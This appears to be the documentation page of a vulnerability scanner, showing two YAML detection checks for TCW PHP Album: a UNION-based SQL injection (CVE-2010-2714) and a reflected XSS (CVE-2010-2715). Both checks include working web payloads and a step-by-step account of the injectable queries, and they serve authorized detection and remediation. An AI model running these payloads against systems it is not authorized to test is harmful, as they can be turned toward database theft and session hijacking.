TCW PHP Album — 2 vulnerability checks

noctis ships 2 vulnerability checks for TCW PHP Album, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

TCW PHP Album index.php album SQL Injection

CVECVE-2010-2714
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/tcwphpalbum/CVE-2010-2714.yaml

TCW PHP Album 1.0, a PHP/MySQL photo album, puts the album parameter of index.php unquoted into the SQL queries that list an album's sub-albums and pictures, allowing SQL injection by anonymous visitors: an attacker can read the whole database, including the administrator credentials.

This check looks for a TCW PHP Album page (its "tcwphpalbum-<version> by david" footer) in the web root and in /phpalbum, /tcwphpalbum and /photos. Where it finds one, it requests index.php with an album id that matches no album, followed by a 7-column UNION SELECT whose third column is the word NOCTIS (sent hex-encoded) joined to the product of two random numbers. The vulnerability is confirmed when the page lists an album or picture named after that computed value, which appears nowhere in the request. When the computed value is not listed (for example on database servers without UNION support), a page that prints the query carrying the UNION together with a MySQL syntax or column-count error is reported with lower confidence. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. HTTP(S) request GET {{dir}}/index.php?album={{sc.q}}
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Checks hit for ^/ → finding QoD 97: TCW PHP Album index.php album SQL Injection (CVE-2010-2714)
  7. Checks weak for ^/ → finding QoD 75: TCW PHP Album index.php album SQL Injection (CVE-2010-2714)

References:

Feed source — tests/vulnerabilities/tcwphpalbum/CVE-2010-2714.yaml
# TCW PHP Album 1.0 — index.php album SQL injection — CVE-2010-2714
#
# index.php (tarball tcwphpalbum-1.0, SourceForge; the only release, footer version
# "tcwphpalbum-1.0.1") copies $_GET["album"] into $album and calls DisplaySubDir()
# (displays.php), which runs it unquoted and unescaped in:
#     SELECT hidden FROM <pre>albums WHERE albumid=$album;               (1 column)
#     SELECT  * FROM <pre>shows WHERE root=$album ORDER BY sid ASC;      (6 columns)
#     SELECT * FROM <pre>albums WHERE root=$album ORDER BY albumid ASC;  (7 columns)
#     SELECT * FROM <pre>images WHERE albumid=$album AND type<>'sid' …   (7 columns)
#     INSERT INTO <pre>views VALUES(NULL, "alb", $album);                (ENABLE_VIEWS)
# Album rows print their descr (3rd column) and picture rows their name (3rd column)
# framed by "\r" inside <FONT> tags. A failed query prints sql::error():
#     SQL failed.<br><b>Data:</b><query><Br><b>Error:</b><mysql_error()><Br>
#
# Detection, per candidate install dir whose index.php carries the
# "tcwphpalbum-<version> by david" footer:
#   index.php?album=-<r> UNION ALL SELECT <big>,2,concat(0x4e4f43544953,a*b),4,5,6,7-- -
#   (random a, b, r; 0x4e4f43544953 = "NOCTIS"). The 7-column UNION matches the albums
#   and images queries, so the page lists an album description / picture name
#   NOCTIS<a*b> only if the database evaluated the expression: neither the word nor the
#   product is in the request. Read-only: the row is built from constants (no stored
#   row is selected), and the views INSERT fails on the injected text, so nothing is
#   written. Checked on MariaDB 10.11 with the real 1.0 schema (install.php).
#   QoD 75 fallback (MySQL < 4.0, no UNION): the page prints the query with our UNION
#   followed by a MySQL syntax / column-count error.
#
# Better than the source NASL (which only tests the XSS of CVE-2010-2715 and requires
# the default "My Pics" title): this CVE's SQL injection is proven by a value the
# database computed; the advisory's /photos install dir is tried too; the site name
# may be anything.
#
# CVSS: NVD v2 7.5 (no v3 score published).
#
# Source: OpenVAS/Greenbone NVT 2010/gb_tcwphpalbum_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801231, GPL-2.0-only).
uid: 88cc0009-24a0-42af-9d44-97e318a86083
name: "TCW PHP Album index.php album SQL Injection (CVE-2010-2714)"
description: |
  TCW PHP Album 1.0, a PHP/MySQL photo album, puts the album parameter of index.php
  unquoted into the SQL queries that list an album's sub-albums and pictures, allowing
  SQL injection by anonymous visitors: an attacker can read the whole database,
  including the administrator credentials.

  This check looks for a TCW PHP Album page (its "tcwphpalbum-<version> by david"
  footer) in the web root and in /phpalbum, /tcwphpalbum and /photos. Where it finds
  one, it requests index.php with an album id that matches no album, followed by a
  7-column UNION SELECT whose third column is the word NOCTIS (sent hex-encoded) joined
  to the product of two random numbers. The vulnerability is confirmed when the page
  lists an album or picture named after that computed value, which appears nowhere in
  the request. When the computed value is not listed (for example on database servers
  without UNION support), a page that prints the query carrying the UNION together with
  a MySQL syntax or column-count error is reported with lower confidence. No stored data is read and nothing is written.
cves: [CVE-2010-2714]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [tcwphpalbum, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2714"
  - "https://www.exploit-db.com/exploits/14203"
  - "https://sourceforge.net/projects/tcwphpalbum/"
  # OpenVAS/Greenbone NASL 2010/gb_tcwphpalbum_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded album payload ─────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      let r = rand_int(100000, 999999);
      let big = rand_int(800000000, 999999999);
      #{ want: "NOCTIS" + (a * b),
         expr: a + "*" + b,
         r: "" + r,
         big: "" + big,
         q: "-" + r + "+UNION+ALL+SELECT+" + big + ",2,concat(0x4e4f43544953," + a + "*" + b + "),4,5,6,7--+-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-weak
    action: set_var
    var_name: weak
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/phpalbum", "/tcwphpalbum", "/photos"]

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: home

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?album={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && home.status == 200 && type_of(home.body) == "string" && egrep("tcwphpalbum-[0-9.]*\\s+by\\s+david", home.body) != ""'
    store_as: probe

  # The computed value must be a whole element text (">\rNOCTIS<prod>\r<"), as rows
  # are printed; the fallback needs the query echoed with our UNION and a MySQL error.
  - id: check-union
    action: script
    condition: 'hit == "" && probe.status != 0'
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      if egrep(">\\s*" + sc.want + "\\s*<", body) != "" {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit

  - id: check-error
    action: script
    condition: 'hit == "" && weak == "" && probe.status != 0'
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      let pat = "<b>Data:</b>[^<]*=-" + sc.r + " UNION ALL SELECT " + sc.big + ",[^<]*<Br>\\s*<b>Error:</b>[^<]*(?i:SQL syntax|different number of columns)";
      if egrep(pat, body) != "" {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: weak

  # ── Findings ──────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^/"
    on_match:
      finding:
        title: "TCW PHP Album index.php album SQL Injection (CVE-2010-2714)"
        description: "A request to index.php with an album id carrying a 7-column UNION SELECT listed an album or picture named after a value computed by the database (a fixed word joined to the product of two random numbers, neither present in the request): the album parameter reaches the SQL queries unquoted, so an anonymous attacker can read the whole database, including the administrator credentials."
        remediation: "TCW PHP Album is no longer maintained and no fixed release exists: remove it or replace it with a maintained gallery. If it must stay, cast the album, pic, show and sid parameters to integers before they are used in a query, and restrict access to the site."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{hit}}: index.php?album=-{{sc.r}} UNION ALL SELECT {{sc.big}},2,concat(0x4e4f43544953,{{sc.expr}}),4,5,6,7-- - listed {{sc.want}} computed by the database"
      stop: true

  - id: report-weak
    action: match
    source: weak
    pattern: "^/"
    condition: 'hit == ""'
    on_match:
      finding:
        title: "TCW PHP Album index.php album SQL Injection (CVE-2010-2714)"
        description: "A request to index.php with an album id followed by a UNION SELECT made the page print the SQL query carrying that UNION verbatim together with a MySQL syntax or column-count error: the album parameter reaches the SQL queries unquoted, so an anonymous attacker can alter them (no UNION result could be read back, for example on a database server without UNION support)."
        remediation: "TCW PHP Album is no longer maintained and no fixed release exists: remove it or replace it with a maintained gallery. If it must stay, cast the album, pic, show and sid parameters to integers before they are used in a query, and restrict access to the site."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{weak}}: index.php?album=-{{sc.r}} UNION ALL SELECT {{sc.big}},... printed the query with a MySQL error"
      stop: true

TCW PHP Album index.php album Cross-Site Scripting

CVECVE-2010-2715
Severitymedium · CVSS 4.3
Categoryxss — XSS
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/tcwphpalbum/CVE-2010-2715.yaml

TCW PHP Album 1.0, a PHP/MySQL photo album, prints the album parameter of index.php back into the page without escaping it (in the SQL error message shown for a non-numeric album, and in the page links), so a crafted link runs attacker-supplied script in the browser of anyone who follows it, for example to steal the administrator's session.

This check looks for a TCW PHP Album page (its "tcwphpalbum-<version> by david" footer) in the web root and in /phpalbum, /tcwphpalbum and /photos. Where it finds one, it requests index.php with an album value holding a script element that calls alert() with a random number. The vulnerability is confirmed when the page returns that exact script element unescaped as page content (an echo inside an attribute value is not counted). Nothing is stored on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php
  3. HTTP(S) request GET {{dir}}/index.php?album={{mk.q}}
  4. Parses / computes the next value with a Rhai script
  5. Checks hit for ^/ → finding QoD 75: TCW PHP Album index.php album Cross-Site Scripting (CVE-2010-2715)

References:

Feed source — tests/vulnerabilities/tcwphpalbum/CVE-2010-2715.yaml
# TCW PHP Album 1.0 — index.php album cross-site scripting — CVE-2010-2715
#
# index.php (tarball tcwphpalbum-1.0, SourceForge; footer "tcwphpalbum-1.0.1") passes
# $_GET["album"] unescaped to DisplaySubDir() (displays.php). Any non-numeric value
# makes the album queries fail, and sql::error() prints each failed query raw:
#     SQL failed.<br><b>Data:</b>SELECT hidden FROM <pre>albums WHERE albumid=<album>;<Br>
# so markup in album lands in the HTML body (it is also echoed, inside an href, in the
# "Page:" link).
#
# Detection, per candidate install dir whose index.php carries the
# "tcwphpalbum-<version> by david" footer:
#   index.php?album=<script>alert(<random>)</script>   (percent-encoded)
# reported when the page contains that exact element in HTML text context (preceded by
# a ">" with no "<" or '"' in between — an echo inside an attribute value does not count).
#
# Better than the source NASL:
#   - its alert('...') payload carries quotes, which magic_quotes_gpc (on by default on
#     the PHP 4/5 servers this 2003 code runs on) turns into \' — a vulnerable install
#     then never matches; the payload here has no quote, backslash or space;
#   - it requires the default "<TITLE>My Pics</TITLE>" site name; the footer is used
#     instead, and the advisory's /photos install dir is tried too;
#   - the random number makes a page that always shows a fixed script tag fail.
#
# CVSS: NVD v2 4.3 (no v3 score published).
#
# Source: OpenVAS/Greenbone NVT 2010/gb_tcwphpalbum_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801231, GPL-2.0-only).
uid: 0f5ae141-b75b-4cb9-b2c5-b40ae2a44af2
name: "TCW PHP Album index.php album Cross-Site Scripting (CVE-2010-2715)"
description: |
  TCW PHP Album 1.0, a PHP/MySQL photo album, prints the album parameter of index.php
  back into the page without escaping it (in the SQL error message shown for a
  non-numeric album, and in the page links), so a crafted link runs attacker-supplied
  script in the browser of anyone who follows it, for example to steal the
  administrator's session.

  This check looks for a TCW PHP Album page (its "tcwphpalbum-<version> by david"
  footer) in the web root and in /phpalbum, /tcwphpalbum and /photos. Where it finds
  one, it requests index.php with an album value holding a script element that calls
  alert() with a random number. The vulnerability is confirmed when the page returns
  that exact script element unescaped as page content (an echo inside an attribute
  value is not counted). Nothing is stored on the server.
cves: [CVE-2010-2715]
cvss: 4.3
severity: medium
category: xss
confidence_base: 0.30
tags: [tcwphpalbum, xss, reflected, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-2715"
  - "https://www.exploit-db.com/exploits/14203"
  - "https://sourceforge.net/projects/tcwphpalbum/"
  # OpenVAS/Greenbone NASL 2010/gb_tcwphpalbum_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: gen-marker
    action: script
    code: |
      let n = rand_int(100000000, 999999999);
      #{ n: "" + n,
         q: "%3Cscript%3Ealert(" + n + ")%3C%2Fscript%3E" }
    store_as: mk

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/phpalbum", "/tcwphpalbum", "/photos"]

  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}

  - id: fetch-home
    action: http_request
    method: GET
    path: "{{dir}}/index.php"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == ""'
    store_as: home

  - id: xss-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?album={{mk.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit == "" && home.status == 200 && type_of(home.body) == "string" && egrep("tcwphpalbum-[0-9.]*\\s+by\\s+david", home.body) != ""'
    store_as: probe

  - id: check-echo
    action: script
    condition: 'hit == "" && probe.status != 0'
    code: |
      let body = if type_of(probe.body) == "string" { probe.body } else { "" };
      if egrep(">[^<\"]*<script>alert\\(" + mk.n + "\\)</script>", body) != "" {
        if dir == "" { "/" } else { dir }
      } else { "" }
    store_as: hit

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit
    pattern: "^/"
    on_match:
      finding:
        title: "TCW PHP Album index.php album Cross-Site Scripting (CVE-2010-2715)"
        description: "A request to index.php with an album value holding a script element (alert() with a random number) returned that element unescaped as page content: the album parameter is printed back without HTML escaping, so a crafted link runs attacker-supplied script in the visitor's browser."
        remediation: "TCW PHP Album is no longer maintained and no fixed release exists: remove it or replace it with a maintained gallery. If it must stay, cast the album parameter to an integer, stop printing SQL queries and database errors to visitors, and HTML-escape every request value written to a page."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{hit}}: index.php?album=<script>alert({{mk.n}})</script> was returned unescaped in the page"
      stop: true

View these feeds on GitHub